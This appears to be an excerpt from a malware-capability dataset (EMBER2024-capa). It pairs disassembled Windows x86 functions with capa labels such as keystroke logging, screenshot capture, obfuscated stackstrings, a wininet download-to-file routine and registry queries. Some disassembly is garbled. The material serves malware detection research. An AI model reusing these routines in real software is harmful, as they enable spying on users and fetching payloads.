joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401126
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x18]
and dword [esp], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x4011ee
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
add esi, 0x10
cmp dword [esi], 0
jne 0x4011a1
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [esp + 0x18], eax
jle 0x4011d0
push 4
push 0x1000
push eax
mov eax, dword [esi - 4]
add eax, dword [esp + 0x20]
push eax
call ebx
mov edi, eax
push 0
mov dword [esi - 8], edi
call ebp
push dword [esp + 0x18]
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x4011d0
mov eax, dword [esi - 4]
push 4
add eax, dword [esp + 0x18]
push 0x1000
push dword [esi]
push eax
call ebx
push dword [esi]
mov edi, eax
mov eax, dword [esi + 4]
add eax, dword [esp + 0x24]
push eax
push edi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov dword [esi - 8], edi
push 0
call ebp
mov eax, dword [esp + 0x28]
inc dword [esp + 0x10]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [esp + 0x10], eax
jl 0x401161
pop edi
pop ebp
pop ebx
pop esi
add esp, 0xc
ret

Function at 0x40197f
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
push 2
push edi
push 0xfffffc00
mov dword [ebp - 4], edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea eax, [esi + 1]
push eax
call sub.MFC42.DLL_operatornew
pop ecx
mov ebx, eax
lea eax, [ebp - 4]
push edi
push eax
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
push esi
push dword [ebp + 0xc]
push ebx
call fcn.004018c6
add esp, 0x10
cmp eax, 0xffffffff
je 0x4019db
add eax, ebx
jmp 0x4019e4
push ebx
call sub.MFC42.DLL_operatordelete
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4019e9
Capabilities:
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403540
push 0x402308
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x401b43
push str.lstrcpyA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push dword [ebp + 8]
push edi
call eax
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x401aa7
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x401aa7
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x401a82
cmp al, 0x5c
je 0x401a82
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x401a6a
cmp byte [esi], 0
je 0x401a8b
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x401aa0
cmp al, 0x5c
je 0x401aa0
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x401a88
cmp byte [esi], 0
je 0x401ac6
jmp 0x401ac2
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x401ac6
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x401ac6
cmp al, 0x5c
jne 0x401ac6
inc esi
mov dword [ebp - 0x1c], esi
or ebx, 0xffffffff
mov al, byte [esi]
test al, al
je 0x401b23
cmp al, 0x5c
jne 0x401b15
and byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x401afe
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x401b12
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jmp 0x401b03
and eax, 0x10
cmp al, 0x10
je 0x401b12
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov dword [ebp - 4], ebx
jmp 0x401b47
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x401ac9
mov dword [ebp - 4], ebx
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov al, 1
jmp 0x401b49
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401bb1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor ebx, ebx
push 0x104
mov esi, 0x40483c
push ebx
push esi
mov byte [ebp - 0x18], 0x44
mov byte [ebp - 0x17], 0x3a
mov byte [ebp - 0x16], 0x5c
mov byte [ebp - 0x15], 0x50
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x67
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x61
mov byte [ebp - 0xf], 0x6d
mov byte [ebp - 0xe], 0x20
mov byte [ebp - 0xd], 0x46
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x5c
mov byte [ebp - 7], 0x43
mov byte [ebp - 6], 0x51
mov byte [ebp - 5], 0x42
mov byte [ebp - 4], 0x5c
mov byte [ebp - 3], bl
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x18]
push eax
push esi
call fcn.004018a4
push dword [ebp + 8]
push esi
call fcn.004018a4
add esp, 0x1c
mov al, bl
add al, 0x43
push eax
call fcn.00401b58
test eax, eax
pop ecx
jne 0x401c53
inc bl
cmp bl, 4
jl 0x401c39
pop esi
pop ebx
leave
ret
push 1
pop eax
jmp 0x401c4f
Function at 0x401c58
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.wininet.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.InternetOpenA
push ebx
call esi
push str.InternetOpenUrlA
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.InternetCloseHandle
push ebx
mov dword [ebp - 0x30], eax
call esi
push str.InternetReadFile
push ebx
mov dword [ebp - 0x2c], eax
call esi
xor ebx, ebx
mov dword [ebp - 0x34], eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x1c]
push ebx
push eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x1c], 0x4d
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x7a
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x61
mov byte [ebp - 0x15], 0x2f
mov byte [ebp - 0x14], 0x34
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x30
mov byte [ebp - 0x11], 0x20
mov byte [ebp - 0x10], 0x28
mov byte [ebp - 0xf], 0x63
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0xd], 0x6d
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0x62
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x29
mov byte [ebp - 4], bl
call dword [ebp - 0x24]
cmp eax, ebx
mov dword [ebp - 0x24], eax
je 0x401d3b
push ebx
push 0x80000000
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [ebp - 0x30]
cmp eax, ebx
mov dword [ebp + 8], eax
jne 0x401d42
xor eax, eax
jmp 0x401dc8
push str.CreateFileA
push str.KERNEL32.dll
call edi
push eax
call esi
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call eax
mov edi, eax
cmp edi, 0xffffffff
je 0x401db9
mov esi, 0x400
push esi
lea eax, [ebp - 0x438]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x438]
push esi
push eax
push dword [ebp + 8]
call dword [ebp - 0x34]
lea eax, [ebp - 0x38]
push ebx
push eax
lea eax, [ebp - 0x438]
push dword [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x20], ebx
ja 0x401d6d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x28], 1
push dword [ebp + 8]
call dword [ebp - 0x2c]
push dword [ebp - 0x24]
call dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405ab4
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x405c6c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405b15
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x405c88
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405b82
xor eax, eax
push ebp
push 0x405b7b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405b64
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405ca8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405b82
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405c63
cmp byte [ebp - 0xd], 0
jne 0x405bc4
cmp byte [ebp - 0x12], 0
je 0x405c63
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405bdd
dec ebx
cmp byte [ebx], 0x2e
je 0x405bec
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405bdc
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405c63
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405c19
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405c63
cmp byte [ebp - 0xd], 0
je 0x405c63
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405c63
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407523
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
mov bh, 0x41
adc al, 0xf
mov bh, 0x71
push es
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x40755e

Function at 0x4075a4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
or byte [ebx - 0x8fcc389], cl
mov ebx, dword [esi + 0x78]
call fcn.004074e3
adc al, 0x10
add edx, dword [edi + 0x56]
push edi
push esi
push ebx
call fcn.00407523
Function at 0x4094d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ch, 0
add byte [eax], al
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 0x3a0]
call dword [ebp - 0x3c8]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0xffffffff
je 0x40952d
push 0
lea eax, [ebp - 0x6c4]
call dword [eax - 1]
mov ch, 0x74
cld
invalid
invalid
push dword [ebp - 0x748]
push dword [ebp - 0x380]
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x409532
jmp 0x408e85
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
invalid

Function at 0x40b394
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b3cd
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403c40
jmp 0x40b3d6
mov eax, ebx
mov edx, esi
call fcn.00403bf4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x41943c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x419442
ret

Function at 0x41b964
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41b9b5
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41b99c
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41b98c
jmp 0x41b9b5
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41b99d
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x428c2c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], edx
xor eax, eax
mov dword [ebp - 0x14], eax
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
cmp dword [0x48175c], 0
sete dl
or al, dl
jne 0x428d70
mov eax, dword [0x481760]
mov bx, 0xffff
call fcn.00403144
mov eax, dword [0x48175c]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x428d3f
inc esi
xor edi, edi
mov edx, edi
mov eax, dword [0x48175c]
call fcn.00410a60
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
je 0x428d37
mov eax, dword [ebp - 0x10]
cmp byte [eax + 0x16c], 0
je 0x428d37
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x428d37
mov eax, dword [ebp - 0x10]
call fcn.00430ac0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x428d37
push ebp
call fcn.00428be8
pop ecx
test al, al
jne 0x428d37
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x8c]
cmp eax, dword [ebp - 0x10]
jne 0x428cf3
mov eax, dword [ebp - 0x10]
call fcn.0042f404
dec eax
jle 0x428d37
mov byte [ebp - 0x15], 1
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x15]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov bx, 0xffc2
call fcn.00403144
cmp byte [ebp - 0x15], 0
je 0x428d37
push dword [ebp - 4]
push dword [ebp - 8]
lea eax, [ebp - 0x28]
push eax
call fcn.00407474
test eax, eax
je 0x428d37
mov edx, dword [ebp - 0x10]
mov eax, dword [0x481760]
call fcn.00428498
inc edi
dec esi
jne 0x428c86
mov eax, dword [0x481760]
cmp dword [eax + 8], 0
jle 0x428d57
mov eax, dword [0x481760]
call fcn.00428528
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x428d70
push ebp
mov eax, dword [ebp - 0x14]
call fcn.00428aa0
pop ecx
test al, al
jne 0x428d70
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42ebd4
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1e8], 0
je 0x42ebf0
cmp dword [esi + 4], 0
je 0x42ec1d
test byte [ebx + 0x45], 1
jne 0x42ec0f
mov eax, ebx
call fcn.0042dc44
test eax, eax
jne 0x42ec0f
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x42ed2d
mov edx, esi
mov eax, ebx
call fcn.0042e84c
jmp 0x42ed2d
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call fcn.0040749c
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x42ed26
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00430ac0
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.0042bd98
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0042ebd4
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00430ac0
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42ed2d
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x438a7c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403b5c
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x438add
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
cmp byte [ebp - 0x101], 0
jne 0x438add
cmp byte [ebp - 0x102], 0
je 0x438add
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00403d88
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x445648
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4457ed
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40f558]
call fcn.00402f38
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 4]
add eax, 0x2c
call fcn.00403b5c
push 0
call sub.user32.dll_GetKeyboardLayout
mov edx, dword [ebp - 4]
mov dword [edx + 0x30], eax
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4457c3
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004351a8
test al, al
je 0x4457b6
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x4457fc
lea eax, [ebp - 0x254]
call fcn.004094d0
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4457b6
xor eax, eax
push ebp
push 0x4457af
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x445834
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x445798
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403d88
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ebx, dword [eax]
call dword [ebx + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x30]
jne 0x445798
mov eax, dword [ebp - 4]
add eax, 0x2c
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403d88
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4457b6
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4456b9
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov byte [eax + 0x19], 0
mov dl, 1
call fcn.00413018
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4457f4
lea eax, [ebp - 0x260]
call fcn.00403b5c
ret

Function at 0x445f90
Capabilities:
Create thread

Disassembly:
push ecx
mov eax, dword [0x4817a8]
cmp byte [eax + 0x8d], 0
jne 0x446001
cmp dword [0x4817e4], 0
jne 0x445fc2
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x445f4c
push eax
push 3
call fcn.00407554
mov dword [0x4817e4], eax
cmp dword [0x4817e0], 0
jne 0x445fdd
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4817e0], eax
cmp dword [0x4817e8], 0
jne 0x446001
push esp
push 0
push 0
push 0x445ef0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4817e8], eax
pop edx
ret
Function at 0x4465c8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4817a8]
cmp dword [eax + 0x24], 0
je 0x446658
cmp dword [ebx + 0x7c], 0
jne 0x446655
mov eax, dword [ebx + 0x24]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44655c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x78]
cmp dword [eax + 8], 0
je 0x446655
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x446624
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x78]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x446655
push 0x13
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x78]
call fcn.00410a60
push eax
call fcn.00407544
dec esi
cmp esi, 0xffffffff
jne 0x446630
inc dword [ebx + 0x7c]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x446fa8
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x8c], 0
je 0x446fdd
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403c40
jmp 0x446fe7
mov eax, esi
mov edx, dword [ebx + 0x74]
call fcn.00403bf4
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45f157
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x47f87e
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45f1af
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push 0x47f89f
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x45f1a5
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x45f1b3
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8